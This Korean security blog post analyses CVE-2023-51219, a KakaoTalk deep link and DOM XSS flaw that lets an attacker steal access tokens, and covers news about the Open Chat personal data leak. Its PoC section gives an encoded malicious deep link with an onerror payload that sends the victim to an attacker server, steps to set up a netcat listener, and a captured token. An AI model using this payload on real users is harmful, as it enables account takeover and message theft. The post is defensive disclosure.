1. 개요

- 국내에서 가장 많이 사용되는 메신저 카카오톡에서 취약점이 발견 [1]
- Deep Link 유효성 검사로 인해 원격 공격자가 제어하는 자바스크립트를 임의로 실행할 수 있음
- 다른 사용자의 계정 탈취, 채팅 메시지 무단 열람이 가능해짐

 

2. 주요내용

[사진 1] CVE-2023-51219

카카오톡 10.4.3 버전Deep Link 유효성 검사 문제로 공격자는 WebView 내에서 공격자가 제어하는 자바스크립트가 실행되는 취약점

> 자바스크립트를 실행해 HTTP 요청 헤더에서 액세스 토큰을 유출할 수 있음

> 해당 토큰을 사용해 다른 사용자의 계정을 탈취하고 채팅 메시지를 무단으로 열람할 수 있게 됨

※ 23.12 카카오에 제보 및 24.06.24 업데이트된 것으로 확인

 

2.1 배경

- 카카오톡은 기본적으로 종단 간 암호화 E2EE(End-to-End Encrypted)를 사용하지 않음(활성화되어 있지 않음)

> "Secure Chat"이라는 옵트인 E2EE 기능이 있지만 그룹 메시징이나 음성 통화를 지원하지 않음.

 

2.2 CommerceBuyActivity

- WebView CommerceBuyActivity는 공격자 관점에서 주요 진입점

> Deep Link로 시작할 수 있음(Ex. adb shell am start kakaotalk://buy)

> JavaScript가 활성화되어 있음 (settings.setJavaScriptEnabled(true);)

> intent:// 방식을 지원해 다른 앱 구성요소에 데이터 전송 가능
> intent:// URI의 검증이 부족해 잠재적으로 모든 앱 컴포넌트에 접근 가능
> Authorization HTTP 헤더에서 액세스 토큰을 유출

※ Deep Link: 모바일 웹상에 있는 링크나 그림을 클릭할 경우 기기 내 관련 앱이나 사전에 정의된 특정 웹페이지가 실행되는 모바일 기술

 

2.3 URL 리디렉션을 통한 DOM XSS

> hxxps://buy.kakao.com에서 hxxps://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl= 엔드포인트를 통해 XSS 취약점 발견
> hxxps://m.shoppinghow.kakao.com/m/search/q/alert(1)에서 이미 저장된 XSS를 확인
> 따라서 CommerceBuyActivity에서 임의의 JavaScript를 실행해 사용자의 액세스 토큰을 유출할 수 있음

 

- 악성 Deep Link를 생성해 사용자의 액세스 토큰을 공격자가 제어하는 서버로 전송 가능

> 이를 통해 카카오 메일 계정을 탈취하거나 새로운 카카오 메일 계정을 생성해 기존 이메일 주소를 덮어쓸 수 있음
> 또는, 피해자의 카카오 메일 계정에 접근해 비밀번호 재설정을 시도할 수 있음(2FA 우회를 위해 Burp를 사용해 요청을 가로채고 수정)

 

2.4 PoC

① 공격자는 악성 Deep Link를 생성

[악성 Deep Link 예시]
location.href = decodeURIComponent("kakaotalk%3A%2F%2Fbuy%2Fauth%2F0%2FcleanFrontRedirect%3FreturnUrl%3Dhttps%3A%2F%2Fm.shoppinghow.kakao.com%2Fm%2Fproduct%2FQ24620753380%2Fq%3A%22%3E%3Cimg%20src%3Dx%20onerror%3D%22document.location%3Datob%28%27aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv%27%29%3B%22%3E");

[Decoding]
location.href = decodeURIComponent("kakaotalk://buy/auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Q24620753380/q:"><img src=x onerror="document.location=atob('hxxp://192.168.178.20:5555/');">");

 

② HTTP 서버 및 Netcat 수신기 시작
③ 피해자에게 링크 클릭 유도
④ 피해자가 링크를 클릭할 경우 액세스 토큰 유출

GET /foo.html HTTP/1.1
Host: 192.168.178.20:5555
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 10; M2004J19C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.66 Mobile Safari/537.36;KAKAOTALK 2610420;KAKAOTALK 10.4.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
authorization: 64f03846070b4a9ea8d8798ce14220ce00000017017793161400011gzCIqV_7kN-deea3b5dc9cddb9d8345d95438207fc0981c2de80188082d9f6a8849db8ea92e
os_name: Android
kakao-buy-version: 1.0
os_version: 10.4.2
X-Requested-With: com.kakao.talk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

 

2.5 Takeaways

- 여전히 복잡하지 않은 공격 체인으로 사용자의 메시지를 탈취할 수 있는 인기 채팅 앱이 존재
- 앱 개발자가 몇 가지 간단한 실수를 하면 Android의 강력한 보안 모델과 메시지 암호화가 도움이 되지 않음
- 아시아 채팅 앱은 보안 연구 커뮤니티에서 여전히 저평가되고 있음

 

2.6 기타

- 개발자 보안 교육 필요성: 안전한 어플리케이션 개발을 위한 보안 교육 진행(시큐어 코딩, 민감 데이터 관련 기능 개발 주의 등)
- 사용자 보안 교육 필요성: 출처가 불분명한 의심스러운 링크를 클릭하지 않고, 2FA를 사용하는 등의 보안 교육 진행
- 다른 메신저 사용 고려

 

3. 참고

[1] https://stulle123.github.io/posts/kakaotalk-account-takeover/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51219
[3] https://www.boannews.com/media/view.asp?idx=130938&page=1&kind=1

요약 - 카카오톡 메신저 시스템에서 심각한 보안 결함이 발견
- 카카오톡 오픈채팅 이용자들의 실명·전화번호를 비롯한 개인정보가 고가에 거래되는 중
내용 - 1월 카카오 플랫폼 서비스 관련 개발자 커뮤니티인 '카카오 데브톡'
> '카카오톡 오픈채팅방의 보안 허점과 개인정보 누출'이라는 제목의 글 게시
> "카카오톡 메시지 전송에 쓰이는 '로코 프로토콜'을 악용해 오픈채팅방 참여 이용자의 카카오톡 프로필 ID, 카카오톡 로그인에 쓰이는 이메일 주소, 전화번호까지 추출 할 수 있다"
※ 오픈채팅방에서 채팅방 익명 이용자의 실제 카카오톡 아이디와 메일주소, 전화번호를 뽑아내는 과정을 담은 스크린샷을 글에 첨부

- 오픈채팅방 이용자에 배정된 익명 ID에 대해 특정 명령어를 써 데이터 요청
> 해당 이용자의 카카오톡 아이디 식별 번호, 로그인용 메일 주소, 전화번호를 알 수 있었음

- 해킹 툴은 카카오톡의 '로코 프로토콜'의 보안 취약점을 활용
> 로코 프로토콜은 12년째 카카오톡 메시지 전송에 쓰이는 규칙
> 2011년 카카오톡 메시지 전송량이 급증하자 카카오가 개발 및 도입_10년 넘게 사용되면서 보안 취약점이 다수 발견
> 최소 2년 전부터 로코 프로토콜을 악용한 '로코봇'을 홍보하는 동영상과 글 등이 다수 존재

- 실제 개발자 커뮤니티 '깃허브' 등에서는 오픈채팅 유저아이디와 실제 프로필 아이디를 연결하는 로직(규칙성)을 추정하는 연구가 이루어짐
> 2020년 8월 이전에 생성된 오픈채팅방의 경우 로직이 발견되어 실제로 유저아이디를 통해 이용자 신상정보를 확인하는 해킹이 발생
※ 카카오는 이후 생성된 오픈카톡방부터 새로운 알고리즘을 적용 - 최근 인공지능(AI) 기술 발전 등으로 로직을 파악했다고 주장하는 개발자가 속속 등장

- 개인정보 추출 인원 1명에 7000원이 매겨졌으며, 5000명 이상 추출할 경우 1인당 5000원으로 할인
> 불법 솔루션 판매자와 접촉해 '테스트'를 요청하면 지목한 오픈채팅방에서 사용하는 닉네임, 실명, 전화번호가 포함된 리스트를 샘플로 제공
기타 - 카카오 입장
> 시스템 구조상 오픈채팅방을 통해 익명 이용자의 개인정보 조회까지는 할 수 없다
> 오픈채팅방 회원 식별번호에 대해 일부 보안 취약점이 있기는 했다
> 이를 통해 알아낼 수 있는 것은 톡 유저 아이디(식별값) 뿐이고, 별도 DB에 저장하는 전화번호까지는 알 수 없는 구조
> "현재까지 오픈채팅방에 대한 개인정보 유출 피해 사례는 접수된 바가 없다"
> "정부 조사에 적극 협조해 실제 정보 침해 행위가 일어났는지 확인할 것"

- 과학기술정보통신부와 한국인터넷진흥원(KISA)
> 카카오톡의 오픈채팅방 보안 취약점과 불법행위 여부 확인 중

- 개인정보보호위원회
> 카카오톡 오픈채팅방의 보안 취약점과 개인정보 유출 경위 및 규모
> 기술적·관리적 보호조치 등 ‘개인정보 보호법’ 위반 여부에 대해서 조사

- 현재 주식리딩방 업체들이 이런 방식으로 유출된 DB를 사들여 사기 마케팅에 활용 등 피해 발생

 

보안뉴스

 

익명 오픈채팅방도 다 털려?…카카오는 이미 알고 있었다 [선한결의 IT포커스]

"익명 오픈채팅방에 있으면 누군지 모를 것 같죠? 익명 ID만 알아도 카톡 프로필 사진부터 상태 메시지, 전화번호까지 알 수 있습니다. 문의 사항은 텔레그램 보내세요." 일부 개발자들 사이에서

n.news.naver.com

 

[단독]카톡 오픈채팅 해킹...1명당 단가 7000원·2시간 만에 '뚝딱'

카카오는 기술적으로 절대 불가능하다고 하는 오픈채팅 이용자의 개인정보 유출, 실제로는 어떤 과정을 통해 이뤄졌을까. 전자신문이 대규모 개인정보 유출이 발생한 지난 8일 유출 피해 제보

www.etnews.com

 

[단독]카톡 '오픈채팅' 보안 구멍 뚫렸다

카카오톡 메신저 시스템에서 심각한 보안 결함이 발견됐다. 카카오톡 오픈채팅 이용자들의 실명·전화번호를 비롯한 개인정보가 고가에 거래되고 있는 것으로 나타났다. 유출된 개인정보 기반

www.etnews.com

 

개인정보위, 카카오톡 오픈채팅방 개인정보 유출 관련 조사 착수

개인정보보호위원회(위원장 고학수, 이하 ‘개인정보위’)는 카카오톡 오픈채팅방의 개인정보 유출과 관련 조사에 착수했다고 밝혔다. 개인정보위는 카카오톡 오픈채팅방의 보안 취약점과 개

www.boannews.com

+ Recent posts